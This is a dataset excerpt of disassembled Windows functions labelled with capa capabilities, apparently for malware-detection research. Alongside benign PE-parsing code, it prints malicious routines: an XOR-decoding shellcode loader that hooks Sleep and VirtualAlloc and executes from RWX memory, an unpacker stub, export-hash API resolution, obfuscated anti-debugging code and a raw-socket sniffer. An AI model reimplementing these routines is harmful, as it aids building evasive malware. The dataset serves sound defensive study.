joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b5ff0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b603a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b603a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b603a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b603a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b603a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b603c
xor al, al
add rsp, 0x28
ret

Function at 0x1402e03f0
Capabilities:
Terminate process

Disassembly:
invalid
cld
pop r11
jmp 0x1402e03fd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1402e040d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1402e03f5
lea eax, [rcx + 1]
jmp 0x1402e041b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1402e042e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1402e0414
sub eax, 3
jb 0x1402e044e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1402e049d
sar eax, 1
movsxd rbp, eax
jb 0x1402e0484
jmp 0x1402e045c
add ebx, ebx
jne 0x1402e045a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1402e0484
inc ecx
add ebx, ebx
jne 0x1402e046a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1402e0484
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1402e047d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1402e046c
add ecx, 2
jmp 0x1402e0489
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1402e03b2
jmp 0x1402e03fd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0x2de000]
mov eax, dword [rdi]
or eax, eax
je 0x1402e0509
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x2e0000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1402e04ad
jns 0x1402e04e2
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1402e04ec
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1402e0503
mov qword [rbx], rax
add rbx, 8
jmp 0x1402e04cd
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1402e0561
sub rsp, 0xffffffffffffff80
jmp 0x1401db074
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14001df90]
mov rcx, qword [0x14001df40]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x14001dfa0]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x14001dfb0]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x14001df80]
mov dword [0x14002100c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14001e060]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14001e040]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14001def0]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001360
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
lea rax, str.FirstVectExcepHandler_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov eax, dword [rax]
mov edx, eax
lea rax, str.:_x_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov eax, dword [rax]
cmp eax, 0xc0000005
jne 0x1400013e3
lea rax, [0x14000802b]
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, dword [0x140021038]
mov edx, eax
mov rax, qword [0x140021030]
lea r9, [0x140021060]
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov eax, 0xffffffff
jmp 0x1400013e8
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000146d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400014aa
mov eax, 0
jmp 0x14000157b
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x1400014d3
mov eax, 0
jmp 0x14000157b
mov qword [rbp - 0x20], 0xb848
mov dword [rbp - 0x18], 0xe0ff0000
mov dword [rbp - 0x14], 0xc
mov edx, dword [rbp - 0x14]
mov rax, qword [rbp + 0x28]
mov dword [rax + 0xc], edx
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov qword [rbp - 0x1e], rax
mov dword [rbp - 0x2c], 0
mov edx, dword [rbp - 0x14]
lea rcx, [rbp - 0x2c]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, dword [rbp - 0x14]
mov rax, qword [rbp + 0x28]
mov rdx, qword [rbp - 0x10]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov ecx, dword [rbp - 0x14]
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 0x10]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov ecx, dword [rbp - 0x2c]
mov edx, dword [rbp - 0x14]
lea r8, [rbp - 0x2c]
mov rax, qword [rbp - 0x10]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov eax, 1
add rsp, 0x50
pop rbp
ret

Function at 0x140001581
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400015ba
mov eax, 0
jmp 0x140001649
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x1400015e0
mov eax, 0
jmp 0x140001649
mov dword [rbp - 0x14], 0xc
mov dword [rbp - 0x18], 0
mov edx, dword [rbp - 0x14]
lea rcx, [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, dword [rbp - 0x14]
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp - 0x10]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov ecx, dword [rbp - 0x18]
mov edx, dword [rbp - 0x14]
lea r8, [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov eax, 1
add rsp, 0x40
pop rbp
ret
Function at 0x1400017b2
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
jne 0x14000180e
mov eax, 0
jmp 0x140001880
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jne 0x140001843
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140001880
lea r8, [rbp - 0x10]
mov ecx, dword [rbp - 0xc]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0xc]
add rsp, 0x50
pop rbp
ret

Function at 0x140001886
Capabilities:
Get file size

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
jne 0x140001902
mov r9d, 0
mov r8d, 0
lea rax, [0x1400080eb]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov eax, 0
jmp 0x14000196e
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jne 0x14000195b
mov r9d, 0
mov r8d, 0
lea rax, [0x1400080fe]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x14000196e
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0xc]
add rsp, 0x50
pop rbp
ret
Function at 0x140001974
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov eax, 0x15770
call fcn.140002830
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x15700], ecx
mov qword [rbp + 0x15708], rdx
call sym.__main
lea rax, [rbp - 0x50]
lea rdx, [0x140008140]
mov ecx, 0x15702
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov qword [rbp + 0x156e0], 0x15702
lea rax, [dbg.FirstVectExcepHandler(_EXCEPTION_POINTERS*)]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.Beacon_set_Memory_attributes(void*)]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x156d8], rax
mov qword [rbp + 0x156d0], 0
mov rax, qword [rbp + 0x156e0]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x156c8], rax
mov dword [rbp + 0x156ec], 0
jmp 0x140001a6f
mov eax, dword [rbp + 0x156ec]
cdqe
movzx eax, byte [rbp + rax - 0x50]
xor eax, 5
mov ecx, eax
mov eax, dword [rbp + 0x156ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x156c8]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
add dword [rbp + 0x156ec], 1
mov eax, dword [rbp + 0x156ec]
cdqe
cmp rax, qword [rbp + 0x156e0]
jb 0x140001a3f
mov qword [rbp + 0x156c0], 0
mov rax, qword [rbp + 0x156e0]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x156c0], rax
cmp qword [rbp + 0x156c0], 0
sete al
test al, al
je 0x140001aea
mov r9d, 0
lea r8, [0x140008114]
lea rax, [0x14000811b]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov rcx, qword [rbp + 0x156e0]
mov rdx, qword [rbp + 0x156c8]
mov rax, qword [rbp + 0x156c0]
mov r8, rcx
mov rcx, rax
call sym.memcpy
test rax, rax
sete al
test al, al
je 0x140001b39
mov r9d, 0
lea r8, [0x140008114]
lea rax, [0x14000812e]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea r9, [0x140021040]
lea r8, [dbg.NewSleep(unsigned long)]
lea rax, str.Sleep
mov rdx, rax
lea rax, str.kernel32.dll
mov rcx, rax
call dbg.HookApi(char const*, char const*, void*, APIHeader*)
lea r9, [0x140021050]
lea r8, [dbg.NewVirtualAlloc(void*, unsigned long long, unsigned long, unsigned long)]
lea rax, str.VirtualAlloc
mov rdx, rax
lea rax, str.kernel32.dll
mov rcx, rax
call dbg.HookApi(char const*, char const*, void*, APIHeader*)
mov rax, qword [rbp + 0x156c0]
mov qword [rbp + 0x156b8], rax
mov rax, qword [rbp + 0x156b8]
call rax
mov rax, qword [rbp + 0x156d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x15770
pop rbp
ret
Function at 0x140001e84
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1400210e8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1400210e4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140001ed2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001eca
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001fb9
inc ebx
add rax, 0x28
jmp 0x140001eaa
mov rcx, r12
call sym.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
jne 0x140001ef1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
movsxd rbx, ebx
mov rax, qword [0x1400210e8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call sym._GetPEImageBase
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400210e8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140001f53
mov rax, qword [0x1400210e8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001fb3
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001fb3
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400210e8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001fb3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
inc dword [0x1400210e4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400023e0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140021140]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140021120]
test rbx, rbx
je 0x14000242c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140002426
test eax, eax
jne 0x140002426
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x1400023fe
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400025e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002603
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140002603
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002604
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x14000263e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140002635
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002640
inc r8d
add rax, 0x28
jmp 0x14000261c
xor eax, eax
ret

Function at 0x1400026b1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14001df40]
mov r8, rcx
mov rcx, r9
call sym._ValidateImageBase
test eax, eax
je 0x1400026dd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp sym._FindPESection
xor eax, eax
add rsp, 0x28
ret
Function at 0x1404cd5a4
Capabilities:
Authenticate hmac
Encode data using base64
Encode data using xor
Encrypt data using aes mixcolumns step
Encrypt data using chaskey
Execute anti-debugging instructions
Hash data using murmur3
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rsi
pushfq
movabs rsi, 0x4cabe035a7bc8892
xor esi, 0x18332a23
test sil, sil
jg 0x1404cd5a6
mov rsi, qword [rsp + 8]
mov qword [rsp + 8], 0xffffffff8bea4b3e
push r9
jl 0x14087da5f
imul esp, dword [rbx - 0x61e450a7], 2
jmp 0x1404cd657
invalid
push 0x16302090
pop r9
add r9, r9
push qword [rsp + r9 - 0x2c604118]
popfq
mov qword [rsp + 8], 0xffffffffeeb590b9
mov r9, qword [rsp + r9 - 0x2c604120]
lea rsp, [rsp + 8]
jmp 0x140b33398
jmp 0x140acd01f
jmp 0x140b17f32
push r13
jmp 0x140a378e8
Function at 0x140001ec0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r12d, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
xor edi, edi
movsxd rcx, dword [rax + 0x3c]
mov r14d, dword [rcx + rax + 0x88]
add r14, rax
mov r13d, dword [r14 + 0x1c]
mov r15d, dword [r14 + 0x20]
add r13, rax
add r15, rax
mov eax, dword [r14 + 0x24]
add rax, rbp
mov qword [rsp + 0x60], rax
cmp dword [r14 + 0x14], edi
jbe 0x140001f97
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rsi
nop dword [rax]
mov ebx, dword [r15 + rdi*4]
add rbx, rbp
jne 0x140001f2e
lea eax, [rbx + 0x35]
jmp 0x140001f6d
mov edx, 0x32
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
mov r9, rax
xor r8d, r8d
mov eax, 0x35
test r9, r9
je 0x140001f6d
nop dword [rax]
movsx edx, byte [r8 + rbx]
inc r8
imul ecx, eax, 0x10f29f
add edx, ecx
and edx, 0xffffff
add eax, edx
cmp r8, r9
jb 0x140001f50
cmp eax, r12d
je 0x140001f7c
inc edi
cmp edi, dword [r14 + 0x14]
jb 0x140001f20
jmp 0x140001f8d
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + rdi*2]
mov eax, dword [r13 + rax*4]
add rax, rbp
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14001ad5c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001ada6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001ada6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001ada6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001ada6
cmp dword [rcx + 0x84], 0xe
jbe 0x14001ada6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001ada8
xor al, al
add rsp, 0x28
ret
Function at 0x140011195
Capabilities:
Create raw socket
Get hostname
Initialize winsock library
Resolve dns
Set socket configuration

Disassembly:
jmp 0x140011df0
push rbp
push rdi
sub rsp, 0x4f8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xd6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x4c8], rax
lea rcx, [0x1400240fa]
call fcn.1400113d4
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x198
rep stosb byte [rdi], al
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140011e65
lea rcx, [0x14001b144]
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x140011fec
xor r8d, r8d
mov edx, 3
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov dword [rbp + 0x1c4], eax
movsxd rax, dword [rbp + 0x1c4]
cmp rax, 0xffffffffffffffff
jne 0x140011eb3
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str._r_n
call fcn.1400111c2
lea rcx, str.socket
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x140011fec
mov edx, 4
lea rcx, [rbp + 0x220]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rbp + 0x220]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0
jne 0x140011f0b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str._r_n
call fcn.1400111c2
lea rcx, str.gethostby
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x140011fec
mov eax, 2
mov word [rbp + 0x1e8], ax
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1ea], ax
mov rax, qword [rbp + 0x318]
movsx rax, word [rax + 0x12]
mov ecx, 8
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x318]
mov rdx, qword [rdx + 0x18]
mov r8, rax
mov rdx, qword [rdx + rcx]
lea rcx, [rbp + 0x1ec]
call fcn.1400111e0
mov ecx, dword [rbp + 0x1ec]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea rcx, str.Bingding_to_inerface_:_s__r_n
call fcn.1400111c2
movsxd rax, dword [rbp + 0x1c4]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x1e8]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x140011fa9
lea rcx, str.bind
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x140011fec
mov dword [rbp + 0x334], 1
movsxd rax, dword [rbp + 0x1c4]
lea r8, [rbp + 0x334]
mov edx, 0x98000001
mov rcx, rax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x140011fe6
lea rcx, str.iocet
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x140011fec
mov eax, dword [rbp + 0x1c4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001aee0]
call fcn.140011357
mov rax, rdi
mov rcx, qword [rbp + 0x4c8]
xor rcx, rbp
call fcn.1400111db
lea rsp, [rbp + 0x4d8]
pop rdi
pop rbp
ret

Function at 0x140011221
Capabilities:
Terminate process

Disassembly:
jmp 0x1400137d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112a8
Capabilities:
Receive data
Receive data on socket

Disassembly:
jmp 0x140012180
push rbp
push rdi
sub rsp, 0xc48
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x21a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xc18], rax
lea rcx, [0x1400240fa]
call fcn.1400113d4
call fcn.140011195
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x1400121de
lea rcx, str._error
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x14001222e
xor eax, eax
cmp eax, 1
je 0x140012219
movsxd rax, dword [rbp + 4]
xor r9d, r9d
mov r8d, 0x800
lea rdx, [rbp + 0x30]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x844], eax
cmp dword [rbp + 0x844], 0
jle 0x140012217
lea rcx, [rbp + 0x30]
call fcn.1400110cd
jmp 0x1400121de
movsxd rax, dword [rbp + 4]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001af80]
call fcn.140011357
mov rax, rdi
mov rcx, qword [rbp + 0xc18]
xor rcx, rbp
call fcn.1400111db
lea rsp, [rbp + 0xc28]
pop rdi
pop rbp
ret

Function at 0x1400112b2
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014b20
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014b40
xor al, al
jmp 0x140014bc1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014b53
xor al, al
jmp 0x140014bc1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
